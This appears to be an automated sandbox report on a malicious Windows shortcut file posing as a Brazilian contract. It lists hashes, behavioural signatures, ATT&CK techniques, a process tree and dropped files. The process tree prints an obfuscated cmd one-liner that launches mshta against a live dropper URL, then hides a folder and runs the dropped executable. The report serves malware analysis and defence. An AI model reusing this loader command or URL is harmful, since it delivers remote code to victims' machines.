33e7e24338d71a201af061c54424c658ee24a611e4ef82858e06ababd97d2793

General

Target
Contrato_Indeniza_Brasil-KMHFQM.lnk
Size 1KB
Sample260803-pyc4eaxhna
SHA256 33e7e24338d71a201af061c54424c658ee24a611e4ef82858e06ababd97d2793
MD5 0270f8854c59428b4048434a3a14c60c
SHA1 8680474065df9d6b7b2df26b504c37764b9e30d7
SHA512 cde4797b0301226f6e7632e86fedca3e4078da0b2b4e76328555d740a2fe8536a6412a4ad3ae1fd8c04cb05f1fbca2d3c7b30ce2c759c5722b05b206c568dde8
TLSH
T1883197102EFD0614F2B3CE7689BBAB2199BBF9968E20C60D4080464C1472A00E17BF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware defense_evasion discovery execution persistence ransomware spyware

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4988	mshta.exe
6	4988	mshta.exe
8	4988	mshta.exe
12	4988	mshta.exe
28	4988	mshta.exe
36	4988	mshta.exe
37	4988	mshta.exe
42	4988	mshta.exe
43	4988	mshta.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
448	cmd.exe
3912	cmd.exe
3692	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
448	cmd.exe
2292	PING.EXE

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe

Modifies registry class 24 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\MuiCache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\MuiCache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\MuiCache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200"	rundll32.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2292	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	42	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
3916	rundll32.exe
4476	rundll32.exe
2104	rundll32.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3912 wrote to memory of 3692	3912	cmd.exe	87
PID 3692 wrote to memory of 4988	3692	cmd.exe	88
PID 4988 wrote to memory of 3916	4988	mshta.exe	100
PID 4988 wrote to memory of 4476	4988	mshta.exe	101
PID 4988 wrote to memory of 2104	4988	mshta.exe	102
PID 3916 wrote to memory of 1284	3916	rundll32.exe	103
PID 4476 wrote to memory of 696	4476	rundll32.exe	104
PID 2104 wrote to memory of 2492	2104	rundll32.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3128	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-KMHFQM.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3912
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set Eo=msh&&set XF=ta&&start "" !Eo!!XF! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3692
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4988
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:3916
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:1284
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4476
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:696
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2104
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:2492
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      PID:2044
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:4900
  - - C:\Windows\System32\attrib.exe
      "C:\Windows\System32\attrib.exe" +h +s "C:\cvreantc\"
      4⤵
      Views/modifies file attributes
      PID:3128
  - - C:\cvreantc\cvreantc.exe
      "C:\cvreantc\cvreantc.exe" C:\cvreantc\cvreantc
      4⤵
      PID:4960
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      PID:4748
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:3616
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
      4⤵
      Executes a command shell one-liner
      System Network Configuration Discovery: Internet Connection Discovery
      PID:448
    - - C:\Windows\System32\PING.EXE
        
        ping -n 300 -w 1000 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2292

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

Modify Registry

Credential Access

Discovery

Query Registry

2

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

a1.zip

Path C:\cvreantc\a1.zip
Size 494KB
SHA256 cb01f18a4385c5f712a326ca9184b5d3b77e0090cf912ed6c6b8019879dce34c
MD5 c61d0f6b0b169d3453bcd6fd039f8032
SHA1 e45024fe097483fd71256f93f3d3322a371c1802
SHA512 8a79796881c71a9bf43b11f4158eb2b58ae3dd26dad56944b17ea5457a09aff8ba2d07a70c06288f8ebcc3b5cb5dafd6390af5fe884c1bffc68963790b585ef8
SSDEEP 12288:KxU7hblQnL+/dh+Gez4yOGtBan225oCWp8SrIw:Kq7hblmK/dgGeVlk22aCarIw
TLSH
T117B4231C22C5BD086D3D97FB58539F7405EA269E14B8024CE18B73C4ABCEF815F829E5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a2.zip

Path C:\cvreantc\a2.zip
Size 1.3MB
SHA256 53b6afbd87584965ee1e5459e5f5bb5513943136b3c26d0ef2d6d66eba929460
MD5 9cefdf0d9689183444cffc82dbf08e9e
SHA1 bff3fa75f2fab9ba0134e6d6512d2f18b4ac9aa7
SHA512 9b63848eecb8d6e9806052b5d149142bea82ddfa94f17f42f0304a0858453918663eba7b8e6ea1b737dbe10d4dab56b59a0e9887a1dbb80f336535f67e74cebd
SSDEEP 24576:ZAuYNwua6NduNqjRt1pSdu4E0mcKptG6lgVT0kQkmSp9QpDH1tMlyaL:ZAuSw7Ku4xpSd7m7BlgVQmvQJH1te
TLSH
T1C3553355B7EDDF14E07D52A1C9C14ED42EE304ADBFE8CC081AC84788D5D236DA948EBA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a3.zip

Path C:\cvreantc\a3.zip
Size 2KB
SHA256 97314e5e9de84030edbe14e09e7de8aeeb4cad718240268140490b4afcd94786
MD5 3496ce1bba0c3c8d4d90481bd0d0fb6f
SHA1 febeb92340e254ebdcc500b7e683e9a6e161c494
SHA512 1e7741f45e5610ce1b1451a85ddfde9c17ba5178e4498c456e312fe7373255c22c0d6f549dc5767795ef08cadb107e1e7ee2705c55e596f0e0cb37f38e5a3e27
TLSH
T1DE413CFCCE6CBEA0D68E793499145470553B3DC455C061681FBFEC441231298CA2E42C
MD5 SHA1 SHA512 TLSH

Submit Download

cvreantc

Path C:\cvreantc\cvreantc
Size 1.3MB
SHA256 30af0a4b9b7c7d8cf41c169be3d51c03d9dabd0c18ed699b31850b618b5db55e
MD5 3acd16edf0a4a2c6ece5bdb47bbfe252
SHA1 f2c68a96d6233778d1900a859ff089284c1672f2
SHA512 db484aa924751393a2bb72b482dea0882e2ea077a48f24e9535c1dd4fb49491779832533a50b509770220503952dc01253e62205b3a376ee4660d7c7f3348172
SSDEEP 24576:wAsYBwwc6NnutqPLth3SduIE0mcKppG2RgzTckokmGpVQpHH3tghysG:wAsiw7WuYn3Sdpm7PRgzIYrQhH3tb
TLSH
T121553355B7EDDF04E0BD51A1D9C14ED42EE304ADBFE8CC081AC84788D5D236DA948EBA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cvreantc.exe

Path C:\cvreantc\cvreantc.exe
Size 957KB
SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
MD5 279274f8a137bf31425a9c2c14444b66
SHA1 6f7f971406854309d94139aa70bdc772308aff52
SHA512 2e69e99ae2c2f0c3361351853ecfcd1982ea542ef8aff9314e991642f106a87d45479f21f53367ad93b29ce9d98b60706ff9554a9c9d2a793fbed1589b90a85d
SSDEEP 24576:8SmEH7kpRArkvBz1oxovFDVeAj2HoB3a33rfBH:827kpRA4R1oGDVeQXsrf
TLSH
T11B259E0373D18022FF93A9721E5FE72656BC6D2A0323956F13D81EB9F9305B14A1E672
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads